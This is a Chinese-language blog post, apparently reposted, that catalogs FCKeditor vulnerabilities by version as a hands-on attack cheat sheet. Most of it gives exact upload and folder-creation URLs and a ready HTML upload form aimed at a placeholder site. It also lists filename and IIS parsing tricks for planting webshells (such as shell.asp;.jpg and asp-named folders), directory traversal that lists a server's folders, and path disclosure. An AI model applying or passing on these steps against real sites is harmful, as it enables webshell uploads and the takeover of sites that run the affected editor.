1. 程式人生 > >FCK各版本漏洞

FCK各版本漏洞

FCKeditor v2.43版本FCKeditor/editor/filemanager/browser/default/connectors/php/config.php FCKeditor V2.6.6版本 fckeditor/editor/filemanager/connectors/asp/config.php 檢視編輯器版本 FCKeditor/_whatsnew.html ————————————————————————————————————————————————————————————— 2. Version 2.2 版本 Apache+linux 環境下在上傳檔案後面加個.突破!測試通過。 ————————————————————————————————————————————————————————————— 3.Version <=2.4.2 For php 在處理PHP 上傳的地方並未對Media 型別進行上傳檔案型別的控制,導致使用者上傳任意檔案!將以下儲存為html檔案,修改action地址。 <form id=”frmUpload” enctype=”multipart/form-data” action=”http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media” method=”post”>Upload a new file:<br> <input type=”file” name=”NewFile” size=”50″><br> <input id=”btnUpload” type=”submit” value=”Upload”> </form> ————————————————————————————————————————————————————————————— 高版本存在 低版本不存在 4.FCKeditor 檔案上傳“.”變“_”下劃線的繞過方法         很多時候上傳的檔案例如:shell.php.rar 或shell.php;.jpg 會變為shell_php;.jpg 這是新版FCK 的變化。     4.1:提交shell.php+空格繞過 不過空格只支援win 系統 *nix 是不支援的[shell.php 和shell.php+空格是2 個不同的檔案 未測試。     4.2:繼續上傳同名檔案可變為shell.php;(1).jpg 也可以新建一個資料夾,只檢測了第一級的目錄,如果跳到二級目錄就不受限制。 ————————————————————————————————————————————————————————————— 5. 突破建立資料夾 FCKeditor V2.6.6 FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/shell.asp&NewFolderName=z&uuid=1244789975684 FCKeditor v2.4.3 FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp ————————————————————————————————————————————————————————————— /wwwroot/userfiles/image/333.asp/2.asp;3.jpg 6. FCKeditor 中test 檔案的上傳地址 最新的 利用iis解析漏洞asp資料夾上存圖片  或者是2.asp;jpg FCKeditor v2.4.3 FCKeditor/editor/filemanager/browser/default/connectors/test.html FCKeditor/editor/filemanager/upload/test.html userfiles/file/1.asp;2(1).jpg FCKeditor V2.6.6 FCKeditor/editor/filemanager/connectors/test.html

FCKeditor/editor/filemanager/connectors/uploadtest.html

--------------------------------------------------------------------------------

7.常用上傳地址 FCKeditor v2.4.3 FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ FCKeditor V2.6.6不能上傳 不能建立 FCKeditor v2.4.3能上傳 能建立 FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com/fckeditor/editor/filemanager/connectors/php/connector.php (ver:2.6.3 測試通過) JSP 版: FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp 注意紅色部分修改為FCKeditor 實際使用的指令碼語言,藍色部分可以自定義文 件夾名稱也可以利用../..目錄遍歷,紫色部分為實際網站地址。 ————————————————————————————————————————————————————————————— 8.其他上傳地址 全部存在 FCKeditor/_samples/default.html FCKeditor/_samples/asp/sample01.asp FCKeditor/_samples/asp/sample02.asp FCKeditor/_samples/asp/sample03.asp FCKeditor/_samples/asp/sample04.asp 一般很多站點都已刪除_samples 目錄,可以試試。 FCKeditor V2.6.6(空白) FCKeditor v2.4.3 存在 FCKeditor/editor/fckeditor.html 不可以上傳檔案,可以點選上傳圖片按鈕再選擇瀏覽伺服器即可跳轉至可上傳檔案頁。 ————————————————————————————————————————————————————————————— 9.列目錄漏洞也可助找上傳地址 Version 2.4.1 測試通過 修改CurrentFolder 引數使用 ../../來進入不同的目錄 /browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../../&NewFolderName=shell.asp 根據返回的XML 資訊可以檢視網站所有的目錄。 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/ 也可以直接瀏覽碟符: JSP 版本: FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/ ————————————————————————————————————————————————————————————— 10.爆路徑漏洞 FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp ————————————————————————————————————————————————————————————— 11. FCKeditor 被動限制策略所導致的過濾不嚴問題         影響版本: FCKeditor x.x <= FCKeditor v2.4.3 脆弱描述: FCKeditor v2.4.3 中File 類別預設拒絕上傳型別: html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm Fckeditor 2.0 <= 2.2 允許上傳asa、cer、php2、php4、inc、pwml、pht 字尾的檔案上傳後它儲存的檔案直接用的$sFilePath = $sServerDir . $sFileName,而沒有使用$sExtension 為字尾.直接導致在win 下在上傳檔案後面加個.來突破[未測試]!         而在apache 下,因為”Apache 檔名解析缺陷漏洞”也可以利用之,另建議其他上傳漏洞中定義TYPE 變數時使用File 類別來上傳檔案,根據FCKeditor 的程式碼,其限制最為狹隘。

        在上傳時遇見可直接上傳指令碼檔案固然很好,但有些版本可能無法直接上傳可以利用在檔名後面加.點或空格繞過,也可以利用2003 解析漏洞建立xxx.asp資料夾或者上傳xx.asp;.jpg!

————————————————————————————————————————————————————————————— 12.最古老的漏洞,Type檔案沒有限制!         我接觸到的第一個fckeditor漏洞了。版本不詳,應該很古老了,因為程式對type=xxx 的型別沒有檢查。我們可以直接構造上傳把type=Image 改成Type=hsren 這樣就可以建立一個叫hsren的資料夾,一個新型別,沒有任何限制,可以上傳任意指令碼!

——————————————————————————————————————————

相關推薦

FCK版本漏洞

FCKeditor v2.43版本FCKeditor/editor/filemanager/browser/default/connectors/php/config.php FCKeditor V2.6.6版本 fckeditor/editor/filemanager

phpMyadmin版本漏洞

exp server aries reg pla door 概述 登錄 3.x 一: 影響版本:3.5.x < 3.5.8.1 and 4.0.0 < 4.0.0-rc3 ANYUN.ORG   概述:PhpMyAdmin存在PREGREPLACEEVAL

Windows版本以及漏洞

目錄 Win 9X Win NT     解析漏洞 MS-Dos 版本號 釋出時間 Windows1.0 1985.11 Windows2.0 1987.12 Windows2.1 1988 Windo

php版本的姿勢(2017-02-15更新)

目前 php5 com script arr use 今天 name val 今天被p師傅的黑魔法給震驚到啦,我一定是學了假php,仔細想想,其實對php版本更新並沒有在意多少,都是活在5.3那個版本,可現在都是7.0啦!另外的是在很多時候測試代碼的時候,也很依靠版本問題。

Visual Studio 2017版本安裝包離線下載、安裝全解析

pla 離線文件 win10 unit splay and 文件下載 python擴展 erl 轉自 寂靜·櫻花雨 Visual Studio 2017各版本安裝包離線下載、安裝全解析 感謝IT之家網友 寂靜·櫻花雨 的投稿 關於Visual

Visual Studio 版本下載

nbsp download unity vs2015 刪除 ssis 沒有 b- msd 文件名稱 文件大小 百度網盤下載 微軟官方下載 Visual Studio 2015 Enterprise - 企業版 - 簡體中文 3.89GB http://pan.ba

Visual Studio 2015 update 3版本下載地址

了解 dsc php post com static unit test label Visual Studio 2015 update 3各版本下載地址 標簽: VS2015update 3 2016-11-28 14:32 2899人閱讀 評論(0) 收藏 舉報

pfsense版本對應FreeBSD核心情況

pfsense freebsd 版本每個版本的pfSense都是基於特定的-RELEASE版本的FreeBSD。 下面的表列出了最近的pfSense版本以及基於它們的底層FreeBSD版本。原文地址:https://doc.pfsense.org/index.php/Versions_of_pfSense_a

Opencv版本的配置

配置指南 hot path uil cor iss detect 可執行 http OpenCV 2.49 + VS2012 配置指南首先下載 OpenCV2.4.9 源碼: 一. 配置系統環境變量 1. 將源碼解壓到指定目錄: 2. 將 opencv 添加到系統

3分鐘帶你了解PowerShell發展歷程——PowerShell版本資料整理

msdn 發展 mona ack html 工作 lease int -1 本文帶你了解PowerShell發展歷程,順便整理了一點資料,方便大家查詢。 Windows PowerShell? 是基於任務的命令行管理程序和腳本語言,專為進行系統管理而設計。 在 .NET F

Metasploit版本對比

滲透 kali 功能特性描述Metasploit FrameworkMetasploit CommunityMetasploit ExpressMetasploit ProPricingLicense無IP限制FreeFree收費收費用戶界面Web界面提供友好的web界面,大大提高效率,減少對技

Visual Studio版本工程文件之間的轉換

format ima lib 都是 使用 height 項目文件 技術 msd 由於VS版本比較多,低版本無法直接打開高版本的工程文件,通過對工程文件進行一些修改可以解決這些問題。 通過修改Solution文件和Project文件,可以使低版本轉換為高版本。 例如將VS20

Qt版本下載

-m brush div arc Language winrt -o details load http://blog.csdn.net/piaopiaolanghua/article/details/53153363 以上為源博客。 1、http://downloa

版本x86 / 64位MongoDB下載地址

.org x86 下載地址 ref god mon mongodb x86_64 inux 各版本x86 / 64位MongoDB下載地址: linux: http://dl.mongodb.org/dl/linux/x86_64 windows: http://dl.mo

MySQL版本的區別

targe 好的 基礎上 免安裝 lan 地址 doc mysql集群 com MySQL各版本的區別 文章出自:http://blog.sina.com.cn/s/blog_62b37bfe0101he5t.html 感謝作者的分享 MySQL 的官網下載地址:h

MySQL 4.1/5.0/5.1/5.5/5.6版本的主要區別

5.6 同步 一個表 bin ger err 各版本 擴展性 sed MySQL 4.1/5.0/5.1/5.5/5.6各版本的主要區別 一、5.0 增加了Stored procedures、Views、Cursors、Triggers、XA transactions的支持

QQ版本下載

qqWindows Version:QQ 8.9 版本http://dldir1.qq.com/qqfile/qq/QQ8.9/20026/QQ8.9.exehttp://dldir1.qq.com/qqfile/qq/QQ8.9/19990/QQ8.9.exehttp://dldir1.qq.com/qqf

chromedriver與chrome版本及下載地址

各版本 eas south 分享 right ref csdn google target 當時找chromedriver與chrome的的對應版本的好麻煩,如今整理下: chromedriver v2.31 支持的chrome版本V62 驅動的下載地址如下: htt

免費分享Navicat12版本破解(僅供學習使用)

到你 比較 各版本 安裝 學習 英文 找到 ges 方法 花了幾個小時終於找到比較“綠色”的安裝包了。。。(無力吐槽下現在網上好多掛羊頭賣狗肉的網站) https://pan.baidu.com/s/1geMIkfT 密碼:9a98 裏面有安裝教程,不過我沒看懂,自

版本linux添加yum源

help -o etc ali 備份 運行 阿裏雲 inux 配置 為各版本linux添加yum源 這裏我就以Centos 6.5 來做演示 首先先百度下對應版本的yun源 國內比較好的yum源主要是阿裏雲、163以及搜狐的,更新yum的命令如下: //更新為阿裏雲的源